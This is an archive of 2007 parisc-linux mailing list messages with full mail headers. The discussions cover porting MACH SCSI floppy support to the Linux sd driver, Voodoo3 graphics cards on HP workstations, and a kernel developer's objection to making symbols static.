Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 5A51F7DA7F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 10:24:08 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Thu, 08 Feb 2007 12:24:05 -0500
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
In-Reply-To: <20070124162810.GA31075@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sjCgLdFBTlIv7beQeGhroQtGU2poZVlo
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24291

This is a multi-part message in MIME format.
--------------030801000502080206080706
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 1/17/2007 2:16 PM, Matt Taggart wrote:
> "James Love" writes...
>> They use a HP-proprietary TEAC SCSI floppy disk, which appears to be an
>> IDE drive with a SCSI-IO/FDC board piggy-backed on it. Any idea whether
>> the TEAC drive is the one that HP won't provide the documents for?
>
> I hope you are able to make progress on a driver, that would be cool. But I
> don't think anyone from HP is going to be able to help. :(
>
>> Regardless, the drive works in MKLinux, so hopefully someone knows
>> something about how it works...
>
> Yeah it sounds like there is hope of getting it working then.
>

On 1/24/2007 11:28 AM, Grant Grundler wrote:
> On Tue, Jan 23, 2007 at 03:51:32PM -0500, James K. Love wrote:
>> In an attempt investigate further, I installed MKLinux on a 715, and the
>> scsi floppy drive was supported through some combination of the MACH
>> kernel and it's hosted Linux kernel.  I've looked through the MKLinux
>> source code, and it appears that the MACH scsi driver had some support
>> for flexible disk drives (which I assume is the floppy drive), but I'm
>> uncertain if this is the only missing piece to the puzzle.  If anyone
>> has any additional info/insight, I'd really appreciated it.
> 
> If you can figure out what's missing between linux and MKlinux there
> is a good change it could get added. The closer you get to providing
> a patch, the more likely it will get included.
> 

I finally figured some of this out.  I ported the MACH flexible scsi disk
code over to the 2.6 kernel, and I can now mount/read/write with my HP TEAC FC-1
drive.  The modifications I made were inside the scsi device (sd) driver, which
is similar to where they were inside the MACH kernel.  This is obviously not
ideal, since the device major is for a scsi disk, but the drive is really a
floppy.  This breaks some user-space floppy apps like fdformat.  There really
should be a new floppy driver similar to the cdrom driver, but these changes may
not work with any other scsi floppy drive (are there any others?).  I only have
a few HP OEM TEAC revs to test with here.

Bottom line... The scsi disk driver could be patched, but it may only provide
partial/experimental support for this drive without extensive changes.  I'm
traditionally a user-space developer, so I'd appreciate any advice/thoughts
before I get knee deep.  Also, if someone could pass along a few links to some
procedural docs about properly submitting kernel code/patches, I'd really
appreciate it.

Thanks,
James L.






















--------------030801000502080206080706
Content-Type: text/x-vcard; charset=utf-8;
 name="jlove.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="jlove.vcf"

begin:vcard
fn:James K. Love
n:Love;James K.
org:SPAWAR Systems Center Charleston, Code 523;Scientific Research Corporation, ISS Division
adr:Building 3452, WS-20;;One Innovation Drive;Hanahan;SC;29406;USA
email;internet:jlove@scires.com
title:Software Engineer
tel;work:843.218.6532
x-mozilla-html:FALSE
url:http://www.scires.com
version:2.1
end:vcard


--------------030801000502080206080706
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------030801000502080206080706--



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Thu, 8 Feb 2007 10:38:08 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20070208173808.GL13101__35519.0112641596$1416624278$gmane$org@parisc-linux.org>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624278 22657 80.91.229.3 (22 Nov 2014 02:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James K. Love" <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2007 17:38:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 08 Feb 2007 18:38:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A18827DA9A;
	Thu,  8 Feb 2007 10:38:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05607-08; Thu, 8 Feb 2007 10:38:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCA717DA9D;
	Thu,  8 Feb 2007 10:38:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEACE7DA94
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 10:38:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05607-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Feb 2007 10:38:09 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2CE757DA7F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 10:38:09 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id D75F1494003; Thu,  8 Feb 2007 10:38:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45CB5C9D.1070601@scires.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M1f+ceBTTiEt/ayUaGRwLx51ZUVSRNdQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24292

On Thu, Feb 08, 2007 at 12:23:41PM -0500, James K. Love wrote:
> I finally figured some of this out.  I ported the MACH flexible scsi disk
> code over to the 2.6 kernel, and I can now mount/read/write with my HP TEAC 
> FC-1
> drive.  The modifications I made were inside the scsi device (sd) driver, 
> which
> is similar to where they were inside the MACH kernel.  This is obviously not
> ideal, since the device major is for a scsi disk, but the drive is really a
> floppy.  This breaks some user-space floppy apps like fdformat.  There 
> really
> should be a new floppy driver similar to the cdrom driver, but these 
> changes may
> not work with any other scsi floppy drive (are there any others?).  I only 
> have
> a few HP OEM TEAC revs to test with here.
> 
> Bottom line... The scsi disk driver could be patched, but it may only 
> provide
> partial/experimental support for this drive without extensive changes.  I'm
> traditionally a user-space developer, so I'd appreciate any advice/thoughts
> before I get knee deep.  Also, if someone could pass along a few links to 
> some
> procedural docs about properly submitting kernel code/patches, I'd really
> appreciate it.

That's good work!

Could you post the patch to sd.c here?  I, and others, can look it over,
critique it, and help polish it before you submit it to the linux-scsi
list.  Or if you're brave, you could send it straight to linux-scsi
(there's about 3 of us who're on both lists, so you may well see feedback
>from a familiar name anyway).

Without looking at the source code to check, I suspect the fdformat code
is trying ioctls that are implemented in floppy.c and we might want to
emulate them in sd.c if the device is a floppy.

We certainly could do a sf.c that's similar in spirit to sr, sd, st, etc.
That might be the right approach, or it might be best to extend sd.
The SCSI-2 spec says that floppy drives are Direct Access Devices (which
sd normally drives).  But then, if we want to make it appear to Linux as
if it's a floppy drive, sf.c would be the right way to go.  If we want
to support machines with both a scsi floppy and a regular floppy at the
same time (and such machines can certainly be constructed; eg a C3000
with a SuperIO floppy and a scsi floppy, or a 725 with a Lasi floppy and
a scsi floppy), then I think we have to use the 'sd' approach to avoid
the drivers fighting over the major number.  A disadvantage to that is
the lack of different device nodes for different sector sizes ... otoh,
some may see that as an advantage ;-)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5600 Video
Date: Sat, 10 Feb 2007 11:50:08 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <200702101150.08977.deller__4364.10935731164$1416624279$gmane$org@gmx.de>
References: <45CA42F4.2070207@cox.net>
	<e6eae0290702071605x213ec1cdq81dc168a390fb84b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624279 22662 80.91.229.3 (22 Nov 2014 02:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:39 +0000 (UTC)
Cc: debian-glibc@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 10:50:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 10 Feb 2007 11:50:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9820A7DAC4;
	Sat, 10 Feb 2007 03:50:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24611-08; Sat, 10 Feb 2007 03:50:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 408DB7DAC8;
	Sat, 10 Feb 2007 03:50:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BC5A7DAC4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 03:50:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24465-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 03:50:12 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 62B897DAC3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 03:50:12 -0700 (MST)
Original-Received: (qmail invoked by alias); 10 Feb 2007 10:50:10 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <e6eae0290702071605x213ec1cdq81dc168a390fb84b@mail.gmail.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I9eoNZgIZCEX4rGPamwhSfJwIGhpZcYo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24293

On Thursday 08 February 2007, Max Grabert wrote:
> On 07/02/07, Michael Greene <listsnews@cox.net> wrote:
> >
> > I have my old J5600 recompiled and running with 2.6.19.1 kernel. I put
> > an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized
> > by the system (not compiled in the kernel just lspci).  Is there any
> > trick to getting it to work with linux in the J5600 before I waste time
> > trying?
> 
> 
> At one time I was trying to use a Voodoo3 3000 in a C3000, but I was
> unsuccessful (linux fb wouldn't initialise/turn on the display, and
> the native XFree86 driver would crash the machine).
> That was about 2 years ago I think, and some things have changed since
> then ... you might even be successful today. Just try and find out :-)

I think you will fail.
If I remember correctly Vodoo3 needs the on-board i386 Graphics-BIOS to get into a useful state which can be used by vodoo fbdev driver.
Vodoo1 or Vodoo2 do work as framebuffer devices though.

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5600 Video
Date: Sat, 10 Feb 2007 12:24:10 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20070210122410.4aa55613__5319.95810238204$1416624279$gmane$org@localhost.localdomain>
References: <45CA42F4.2070207@cox.net>
	<e6eae0290702071605x213ec1cdq81dc168a390fb84b@mail.gmail.com>
	<200702101150.08977.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624279 22663 80.91.229.3 (22 Nov 2014 02:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-glibc@lists.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <alan@lxorguk.ukuu.org.uk>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 12:10:36 -0000
Original-Received: from outpipe-village-512-1.bc.nu (EHLO lxorguk.ukuu.org.uk) [81.2.110.250]
  by mx0.gmx.net (mx092) with SMTP; 10 Feb 2007 13:10:36 +0100
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.13.8/8.13.4) with ESMTP id l1ACOBFY030462;
	Sat, 10 Feb 2007 12:24:11 GMT
In-Reply-To: <200702101150.08977.deller@gmx.de>
X-Mailer: Claws Mail 2.7.1 (GTK+ 2.10.4; x86_64-redhat-linux-gnu)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
X-GMX-UID: Do/+fcddMmAp4bSZZGFn0eUxMjQ1N91c
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24294

> I think you will fail.
> If I remember correctly Vodoo3 needs the on-board i386 Graphics-BIOS to get into a useful state which can be used by vodoo fbdev driver.
> Vodoo1 or Vodoo2 do work as framebuffer devices though.

The voodoo1/2 were designed as add on boards so there is enough info in
the docs to boot them, and in the source tree for glide to boot them
properly. The voodoo3 glide source tree may contain enough info, its hard
to tell.



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another problem with making things static
Date: Sat, 10 Feb 2007 09:29:24 -0600
Lines: 164
Approved: news@gmane.org
Message-ID: <1171121364.3373.19.camel__32312.7999007285$1416624279$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="=-DjExUAYIiiSjCcuNYWoD"
X-Trace: ger.gmane.org 1416624279 22664 80.91.229.3 (22 Nov 2014 02:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:39 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Andrew Morton <akpm@osdl.org>,
 Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 15:29:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 10 Feb 2007 16:29:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 040797DAD6;
	Sat, 10 Feb 2007 08:29:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27691-05; Sat, 10 Feb 2007 08:29:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF4977DAD0;
	Sat, 10 Feb 2007 08:29:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B785E7DACE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 08:29:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27691-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 08:29:32 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id A12B27DACD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 08:29:31 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1AFTPx15214; 
	Sat, 10 Feb 2007 10:29:25 -0500
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0tP4cYYuTiEt/ayUaGRw7eN1ZUVSRFfd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24295


--=-DjExUAYIiiSjCcuNYWoD
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

We're going to need this one reverting for parisc.  If you remember
we've been trying to push a compat_sys_rt_sigqueueinfo but Andi keeps
objecting, so it's remained local to our tree (an hence so has the
symbol usage).

However, can we *please* stop this indiscriminate rampage through all
the sybsystems making things static just because we can.  The true test
of whether a symbol should be static or not is whether it forms part of
a sensible API or not.  For subsystems with a well defined API, this is
quite easy (although it hasn't prevented attempts to make even those
symbols static).  For some of our core subsystems (like the kernel API
in this case) it's much less well defined ... although we have a good
solid white area of things that must be part of the API and a good solid
black area of things that mustn't, we still have a large grey area which
things like kill_proc_info() fall into.

For any person who wants to make a static symbol exported, we force an
explanation out of them about what they're trying to do and why.  Might
I suggest we apply the same standard to anyone trying to make something
static?  i.e. they need to explain clearly why the symbol shouldn't be
part of any rational API.

Thanks,

James


--=-DjExUAYIiiSjCcuNYWoD
Content-Disposition: inline
Content-Description: Forwarded message - Re: [parisc-linux] 64-bit kernel
	broken.
Content-Type: message/rfc822

Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-25) on 
	hancock.sc.steeleye.com
X-Spam-Level: 
X-Spam-Status: No, score=-2.5 required=5.0 tests=AWL,BAYES_00,
	FORGED_RCVD_HELO autolearn=ham version=3.1.4
Received: from orville.steeleye.com (orville.steeleye.com [71.30.118.242])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l193Xdx00662
	for <james.bottomley@steeleye.com>; Thu, 8 Feb 2007 22:33:39 -0500
Received: from free.linux.hp.com (free.linux.hp.com [192.25.206.17]) by
	orville.steeleye.com (8.12.8/8.12.8) with ESMTP id l193Xd25004043 for
	<james.bottomley@steeleye.com>; Thu, 8 Feb 2007 22:33:39 -0500
Received: from localhost (localhost.localdomain [127.0.0.1]) by
	free.linux.hp.com (Postfix) with ESMTP id BE7E37DAB0; Thu,  8 Feb 2007
	20:33:38 -0700 (MST)
Received: from free.linux.hp.com ([127.0.0.1]) by localhost
	(free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id
	09287-05; Thu, 8 Feb 2007 20:33:38 -0700 (MST)
Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1]) by
	free.linux.hp.com (Postfix) with ESMTP id 523D87DABC; Thu,  8 Feb 2007
	20:33:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Received: from localhost (localhost.localdomain [127.0.0.1]) by
	free.linux.hp.com (Postfix) with ESMTP id 9AFD57DABB for
	<parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 20:33:34 -0700 (MST)
Received: from free.linux.hp.com ([127.0.0.1]) by localhost
	(free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id
	09287-02 for <parisc-linux@lists.parisc-linux.org>; Thu, 8 Feb 2007
	20:33:33 -0700 (MST)
Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22]) by free.linux.hp.com (Postfix) with ESMTP id
	E7FDF7DAB0 for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 20:33:32 -0700 (MST)
Received: from localhost (stout [127.0.0.1]) by stout.engsoc.carleton.ca
	(Postfix) with ESMTP id 79EE95840A0;
	Thu,  8 Feb 2007 22:33:32 -0500 (EST)
Received: from fattire.cabal.ca (cabal.ca [134.117.69.58]) (using TLSv1
	with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate
	requested) by stout.engsoc.carleton.ca (Postfix) with ESMTP id
	F25D758409F; Thu,  8 Feb 2007 22:33:31 -0500 (EST)
Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256
	bits)) (Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca"
	(verified OK)) by fattire.cabal.ca (Postfix) with ESMTP id 9B2AB837DC;
	Thu, 8 Feb 2007 22:33:31 -0500 (EST)
Received: by athena.road.mcmartin.ca (Postfix, from userid 1000) id
	9FE7F3B06E; Thu,  8 Feb 2007 22:33:21 -0500 (EST)
Date: Thu, 8 Feb 2007 22:33:21 -0500
From: Kyle McMartin <kyle@mcmartin.ca>
To: Matthew Wilcox <matthew@wil.cx>
Subject: Re: [parisc-linux] 64-bit kernel broken.
Message-ID: <20070209033321.GC26780@athena.road.mcmartin.ca>
References: <119aab440702061420w2b5ab788g815313761f440bc9@mail.gmail.com>
	<20070209003302.GD18899@athena.road.mcmartin.ca>
	<20070209004314.GE18899@athena.road.mcmartin.ca>
	<20070209032454.GR13101@parisc-linux.org>
MIME-Version: 1.0
